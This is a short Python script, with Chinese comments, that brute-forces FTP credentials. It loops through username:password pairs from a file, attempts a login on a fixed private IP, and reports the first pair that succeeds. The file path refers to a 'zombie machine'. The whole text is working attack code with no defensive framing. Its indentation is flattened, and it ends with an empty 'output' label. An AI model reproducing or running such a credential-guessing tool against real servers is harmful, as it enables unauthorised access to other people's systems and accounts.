import ftplib
# 定义一个函数,用于尝试使用密码文件中的用户名和密码登录FTP服务器
def bruteLogin(hostname, passwdFile):
# 使用with语句打开密码文件,确保文件在操作完成后自动关闭
with open(passwdFile, 'r') as pF:
for line in pF.readlines(): # 遍历文件中的每一行
# 将每行按照冒号分割为用户名和密码
userName, passWord = line.split(':')
# 去除密码行尾的回车和换行符
passWord = passWord.strip('\r').strip('\n')
# 打印正在尝试的用户名和密码
print("[+] Trying:" + userName + "/" + passWord)
try:
# 创建FTP对象,并尝试使用用户名和密码登录
with ftplib.FTP(hostname) as ftp:
ftp.login(user=userName, passwd=passWord)
# 如果登录成功,打印成功消息,并返回用户名和密码
print('\n[*]' + str(hostname) + ' FTP Logon Succeeded: ' + userName + " / " + passWord)
return (userName, passWord)
except Exception as e: # 捕获并处理任何异常
# 打印失败信息和异常原因
print(f"\n[-] Failed to login with {userName}: {e}")
# 如果所有密码都尝试失败,打印失败消息,并返回(None, None)
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
# 指定要尝试登录的FTP服务器的IP地址
host = '192.168.95.179'
# 指定包含用户名和密码的文件路径
passwdFile = 'D:\Projects\pythonProject1\网络\肉机\用户密码.txt'
# 调用bruteLogin函数,并传入FTP服务器的IP地址和密码文件路径
bruteLogin(host, passwdFile)
输出结果:
